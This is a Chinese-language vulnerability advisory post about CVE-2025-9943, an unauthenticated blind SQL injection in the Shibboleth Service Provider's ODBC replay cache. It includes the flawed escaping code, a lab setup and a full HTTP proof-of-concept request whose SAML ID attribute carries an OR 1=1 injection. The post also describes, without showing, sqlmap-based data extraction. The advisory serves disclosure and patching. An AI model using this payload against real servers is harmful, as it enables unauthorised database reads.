首页 网络安全 正文
  • 本文约1838字,阅读需9分钟
  • 18
  • 0

Shibboleth SP未经验证SQL注入漏洞CVE-2025-9943

摘要

栋科技漏洞库关注到Shibboleth服务提供商(SP)中存在一个未经验证SQL注入漏洞,现已追踪为CVE-2025-9943,漏洞CVSS评分9.1。

Shibboleth 是世界上最广泛使用的身份管理系统之一,由Internet2联盟于2000年发起,2003年发布首个正式版本,采用Apache开源协议。

Shibboleth 采用基于SAML标准和OAuth 2.0标准构建分布式架构,该产品主要是由身份提供者(IdP)和服务提供者(SP)构成核心组件。

一、基本情况

Shibboleth 目的是对用户进行统一的认证,通过用户所属的源站点对用户进行认证和授权,使联盟中各个站点能够对用户进行认证和授权。

Shibboleth SP未经验证SQL注入漏洞CVE-2025-9943

Shibboleth 针对单点登录(SSO)开源中间件,功能包括支持多认证方式集成、策略驱动的访问控制及最小化身份信息传输隐私保护机制。

栋科技漏洞库关注到Shibboleth服务提供商(SP)中存在一个未经验证SQL注入漏洞,现已追踪为CVE-2025-9943,漏洞CVSS评分9.1。

二、漏洞分析

CVE-2025-9943是存在于Shibboleth服务提供商(SP)中的漏洞,是SEC Consult在ODBC接口中发现的一个未经身份验证SQL注入漏洞。

该安全漏洞影响影响Shibboleth服服务提供商(SP)至3.5.0版本,攻击者可以利用该漏洞以数据库用户的身份读取数据库中的任意记录。

Shibboleth服务提供者(SP)的重放缓存配置使用SQL数据库作为存储服务时,已识别出在SAML响应的“ID”属性中存在的SQL注入漏洞。

未经身份验证的攻击者可以通过盲SQL注入利用该问题,如果数据库连接配置为使用ODBC插件,攻击者则可以从数据库中提取任意数据。

具体而言漏洞存在于某些软件发行版中随附的扩展中,漏洞源于SQLString类(文件odbc-store.cpp,第253-271行)中的单引号转义不足。

class SQLString {
    const char* m_src;
    string m_copy;
public:
    SQLString(const char* src) : m_src(src) {
        if (strchr(src, '\'')) {
            m_copy = src;
            replace_all(m_copy, "'", "''");
        }
    }
[...]
};

三、POC概念验证

1、为了重现该漏洞,设置了一台运行IIS 10.0和MySQL ODBC驱动程序9.4的Windows 10机器。

使用MSI安装程序shibboleth-sp-3.5.0.2-win64.msi安装了Shibboleth 3.5.0.2,SHA256:

eed4f743409a2b7d7f550ed3611e6cc4d789bd157da57529fccc51918ebb0ea6

 2、Shibboleth 的设置在 shibboleth2.xml 中配置为使用 MySQL 作为重放缓存:

<StorageService type="ODBC" id="mysql" cleanupInterval="900">
 <ConnectionString>
   DRIVER={MySQL ODBC 9.4 Unicode Driver};SERVER=127.0.0.1;PORT=3306;DATABASE=shibbsp;USER=shib;PWD=changeMe!
 </ConnectionString>
</StorageService>
<ReplayCache StorageService="mysql"/>

3、利用该漏洞需使用Burp Suite Professional和扩展Hackvertor,须将"IssueInstant"属性的值设置为比以下请求的UTC时间早几分钟的值:

POST /Shibboleth.sso/SAML2/POST HTTP/2
Host: sp.example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 504

SAMLResponse=<@burp_urlencode><@base64><samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
   ID="123456\' OR 1=1 -- -" Version="2.0" IssueInstant="2025-08-13T22:25:00Z"
   Destination="https://sp.example.org/Shibboleth.sso/SAML2/POST">
 <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">urn:example:idp</saml:Issuer>
 <samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
</samlp:Response>
</@base64></@burp_urlencode>

4、如果注入一个真正的布尔条件(1=1),服务器在发送请求两次后会返回以下响应:

管理员已设置登录后刷新可查看

5、如果注入一个错误的布尔条件(1=2),对第二个请求的响应会有所不同。

管理员已设置登录后刷新可查看

6、在这种情况下,服务器响应包含字符串“入站消息中不包含SAML断言。”

管理员已设置登录后刷新可查看

不同的响应允许通过基于布尔值的盲SQL注入进行数据泄露。

7、为了自动化攻击,使用自定义篡改脚本 saml_base64_urlencode.py 与 SQLMap 一起:

管理员已设置登录后刷新可查看

8、以下SQLMap命令列出可用的数据库:

管理员已设置登录后刷新可查看

四、影响范围

Shibboleth Service Provider <= 3.5.0

五、修复建议

Shibboleth Service Provider >= V3.5.1

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接